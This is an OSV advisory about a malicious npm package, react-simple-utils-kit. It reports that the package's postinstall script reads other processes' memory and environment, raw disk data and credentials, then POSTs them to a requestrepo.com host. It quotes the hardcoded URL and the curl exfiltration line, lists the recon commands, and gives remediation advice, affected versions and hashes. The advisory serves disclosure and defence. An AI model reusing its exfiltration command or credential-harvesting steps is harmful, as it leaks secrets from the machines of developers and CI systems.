MAL-2026-6303

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Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/react-simple-utils-kit/MAL-2026-6303.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-6303
Aliases
  • GHSA-9p56-xfq3-77x5
Published
2026-06-23T14:46:34Z
Modified
2026-06-24T15:31:25.229210679Z
Summary
Malicious code in react-simple-utils-kit (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (038aa6bccd8008fec1f309d718e53dd4b89e4ca15a976c6a80652e0dd58a5b58)

Package advertises itself as 'a simple date formatting utility for React projects' (3-function index.js), but ships a postinstall.js that runs on every npm install and performs an extensive reconnaissance + credential-harvest sweep against the installer's host, POSTing each result over plain HTTP to a hardcoded attacker endpoint at http://2e3bkumw.requestrepo.com (a one-shot request-interception domain unrelated to any legitimate publisher). postinstall.js:8 hardcodes const BURL = 'http://2e3bkumw.requestrepo.com' and postinstall.js:16 invokes execSync(\curl -s -m 8 -X POST -d @${tmpFile} ${BURL}/${key}...`)to ship results. Collected data includes: process capabilities and ptrace scope, strace attach against PID 2, raw memory reads of another process viaxxd /proc/2/mem, that process's environment block viacat /proc/2/environ(commonly containing CI tokens and cloud credentials),/proc/2/cmdline,ps aux, listening-port enumeration, MCP probing on localhost:9000, and raw-disk reads from/dev/vdb. The package's name targets React developers via a date-utility cover story (empty author field, Chinese comment绕过能力探测= 'capability-detection bypass'); none of this behavior is consistent with the advertised purpose. Installer harm is concrete and immediate: any host runningnpm install react-simple-utils-kit` leaks process-tree secrets, environment variables of other running processes, kernel/container introspection data, and raw block-device contents to attacker infrastructure.

Source: ghsa-malware (29295ef35aa59796f637df779516a0382cbe1ce88e69a5c9f40012d9e63c9cfd)

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Database specific 
{
    "malicious-packages-origins": [
        {
            "sha256": "038aa6bccd8008fec1f309d718e53dd4b89e4ca15a976c6a80652e0dd58a5b58",
            "import_time": "2026-06-23T15:33:52.589644574Z",
            "source": "amazon-inspector",
            "modified_time": "2026-06-23T14:46:47Z",
            "versions": [
                "1.3.2"
            ],
            "id": "IN-MAL-2026-007224"
        },
        {
            "sha256": "8886d4d16de552939e01d8bd472dd2b8dce46a0abf77d253cbcb09dae4830373",
            "import_time": "2026-06-23T15:33:51.59318304Z",
            "source": "amazon-inspector",
            "modified_time": "2026-06-23T14:46:38Z",
            "versions": [
                "1.2.2"
            ],
            "id": "IN-MAL-2026-007213"
        },
        {
            "sha256": "b0b31ec7c4d366cc5f7f5a46466f414bba1a641964c6b997d30f9220f186bbbd",
            "import_time": "2026-06-23T15:33:51.691286744Z",
            "source": "amazon-inspector",
            "modified_time": "2026-06-23T14:46:39Z",
            "versions": [
                "1.0.2"
            ],
            "id": "IN-MAL-2026-007215"
        },
        {
            "sha256": "b1ec8b00031d31e45f8ed1936395bd52f1ea16df4e652521b3732bafdbbff604",
            "import_time": "2026-06-23T15:33:51.303269095Z",
            "source": "amazon-inspector",
            "modified_time": "2026-06-23T14:46:34Z",
            "versions": [
                "1.4.2"
            ],
            "id": "IN-MAL-2026-007209"
        },
        {
            "sha256": "bfeef9da283d7f26660e055fd2f70cf71c1231f13a3029971689bf9082098e88",
            "import_time": "2026-06-23T15:33:52.244875464Z",
            "source": "amazon-inspector",
            "modified_time": "2026-06-23T14:46:42Z",
            "versions": [
                "1.3.3"
            ],
            "id": "IN-MAL-2026-007219"
        },
        {
            "sha256": "2e293c75200e773ed6bef24f23d483ffc71565dd465336318f240f06be8eb3ff",
            "import_time": "2026-06-23T15:33:52.371047009Z",
            "source": "amazon-inspector",
            "modified_time": "2026-06-23T14:46:43Z",
            "versions": [
                "1.3.1"
            ],
            "id": "IN-MAL-2026-007220"
        },
        {
            "sha256": "66fb37d80d5b57c42447704336d28fa810af4c46c2cee5f2abac2452dd3b469b",
            "import_time": "2026-06-23T15:33:52.190736749Z",
            "source": "amazon-inspector",
            "modified_time": "2026-06-23T14:46:42Z",
            "versions": [
                "1.0.5"
            ],
            "id": "IN-MAL-2026-007218"
        },
        {
            "sha256": "95a5ed56bbe208d78882a1026d8aa0b9e8659b3a85c1b9a849a0718907e1c342",
            "id": "IN-MAL-2026-007217",
            "source": "amazon-inspector",
            "modified_time": "2026-06-23T14:46:41Z",
            "versions": [
                "1.0.1"
            ],
            "import_time": "2026-06-23T15:33:51.821002204Z"
        },
        {
            "sha256": "963d8f444d49da2d58e2c58cceff09bf9c685f38b03fd4286f8521e9b4701b9a",
            "import_time": "2026-06-23T15:33:51.357235772Z",
            "source": "amazon-inspector",
            "modified_time": "2026-06-23T14:46:35Z",
            "versions": [
                "1.3.0"
            ],
            "id": "IN-MAL-2026-007210"
        },
        {
            "sha256": "e682e830cea8fa19e03a89aab70edc2259dbd0744d335cfc40de5ca0be2e2ca3",
            "import_time": "2026-06-23T15:33:51.499290605Z",
            "source": "amazon-inspector",
            "modified_time": "2026-06-23T14:46:36Z",
            "versions": [
                "1.4.0"
            ],
            "id": "IN-MAL-2026-007211"
        },
        {
            "sha256": "716430e4a7dd41de65f4f46768c7db4ca994be72406c8e312a5955f60d4835d8",
            "import_time": "2026-06-23T15:33:52.475405356Z",
            "source": "amazon-inspector",
            "modified_time": "2026-06-23T14:46:44Z",
            "versions": [
                "1.1.0"
            ],
            "id": "IN-MAL-2026-007222"
        },
        {
            "sha256": "8af4223f1220931d40aa0369b3d1590079e6c047f18ad29051f4fba20143ca88",
            "import_time": "2026-06-23T15:33:51.540320712Z",
            "source": "amazon-inspector",
            "modified_time": "2026-06-23T14:46:36Z",
            "versions": [
                "1.4.1"
            ],
            "id": "IN-MAL-2026-007212"
        },
        {
            "sha256": "a1e740ad238b57435991e84637e4bf314c9154498ec231f9492c313ae364c71b",
            "import_time": "2026-06-23T15:33:51.773768607Z",
            "source": "amazon-inspector",
            "modified_time": "2026-06-23T14:46:40Z",
            "versions": [
                "1.0.4"
            ],
            "id": "IN-MAL-2026-007216"
        },
        {
            "sha256": "9dda662ed01f939793fc3a67b24c2078f4ba731817f72623ba2b177b23f8a52f",
            "id": "IN-MAL-2026-007223",
            "source": "amazon-inspector",
            "modified_time": "2026-06-23T14:46:45Z",
            "versions": [
                "1.2.0"
            ],
            "import_time": "2026-06-23T15:33:52.534609606Z"
        },
        {
            "sha256": "c78fcb17e3152afdb3f27b202c9e7d19735460a1bb6743ecf61e3e379a273eea",
            "import_time": "2026-06-23T15:33:51.639177167Z",
            "source": "amazon-inspector",
            "modified_time": "2026-06-23T14:46:38Z",
            "versions": [
                "1.0.0"
            ],
            "id": "IN-MAL-2026-007214"
        },
        {
            "sha256": "d0dab6842ed9ed6871c0bc982363bd1ede197cbe269eb124a7ebc16f1d9dca0e",
            "id": "IN-MAL-2026-007221",
            "source": "amazon-inspector",
            "modified_time": "2026-06-23T14:46:43Z",
            "versions": [
                "1.2.1"
            ],
            "import_time": "2026-06-23T15:33:52.434312415Z"
        },
        {
            "sha256": "29295ef35aa59796f637df779516a0382cbe1ce88e69a5c9f40012d9e63c9cfd",
            "import_time": "2026-06-24T15:13:19.709621214Z",
            "ranges": [
                {
                    "type": "SEMVER",
                    "events": [
                        {
                            "introduced": "0"
                        }
                    ]
                }
            ],
            "modified_time": "2026-06-24T14:08:09Z",
            "id": "GHSA-9p56-xfq3-77x5",
            "source": "ghsa-malware"
        }
    ]
}
References
Credits

Affected packages

npm / react-simple-utils-kit

Package

Name
react-simple-utils-kit
View open source insights on deps.dev
Purl
pkg:npm/react-simple-utils-kit

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected

Affected versions

1.*
1.0.0
1.0.1
1.0.2
1.0.4
1.0.5
1.1.0
1.2.0
1.2.1
1.2.2
1.3.0
1.3.1
1.3.2
1.3.3
1.4.0
1.4.1
1.4.2

Database specific

source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/react-simple-utils-kit/MAL-2026-6303.json"
cwes 
[
    {
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature.",
        "cweId": "CWE-506"
    },
    {
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature.",
        "cweId": "CWE-506"
    },
    {
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature.",
        "cweId": "CWE-506"
    },
    {
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature.",
        "cweId": "CWE-506"
    },
    {
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature.",
        "cweId": "CWE-506"
    },
    {
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature.",
        "cweId": "CWE-506"
    },
    {
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature.",
        "cweId": "CWE-506"
    },
    {
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature.",
        "cweId": "CWE-506"
    },
    {
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature.",
        "cweId": "CWE-506"
    },
    {
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature.",
        "cweId": "CWE-506"
    },
    {
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature.",
        "cweId": "CWE-506"
    },
    {
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature.",
        "cweId": "CWE-506"
    },
    {
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature.",
        "cweId": "CWE-506"
    },
    {
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature.",
        "cweId": "CWE-506"
    },
    {
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature.",
        "cweId": "CWE-506"
    },
    {
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature.",
        "cweId": "CWE-506"
    },
    {
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature.",
        "cweId": "CWE-506"
    }
]
indicators 
{
    "evidence_files": [
        {
            "sha256": "b732eaa4ee74b20bf8e24f406b074df840aec80e04fbca2eeb87a35077c08083",
            "tlsh": "6971c6f9e9f39f70763a61a4315e60499efffc2a31527bd0e9684d68038de4a1123243",
            "path": "postinstall.js"
        },
        {
            "tlsh": "76e02614c9014f336fe8066948270912ba985e0b060c3c2c3387900c578f6ff80fe30d",
            "sha256": "b5e4ea02a051ecf715a8a71fddead93d22a6b2f1f61b1ede3ba0e1d04e8b6e96",
            "path": "package.json"
        }
    ],
    "package_integrity": [
        {
            "filename": "react-simple-utils-kit-1.3.2.tgz",
            "hashes": {
                "sha1": "d2707e8326457e097166a992b3679117b549bbb6",
                "sha512_sri": "sha512-KcoQFBGF1NUtAzLMfcusQII729VIn/mUeQPkWYsLrVwB0rw9XLk8PIC+Z/kCA87z/eQInAiPWhd0V3VmpOaptw=="
            }
        }
    ]
}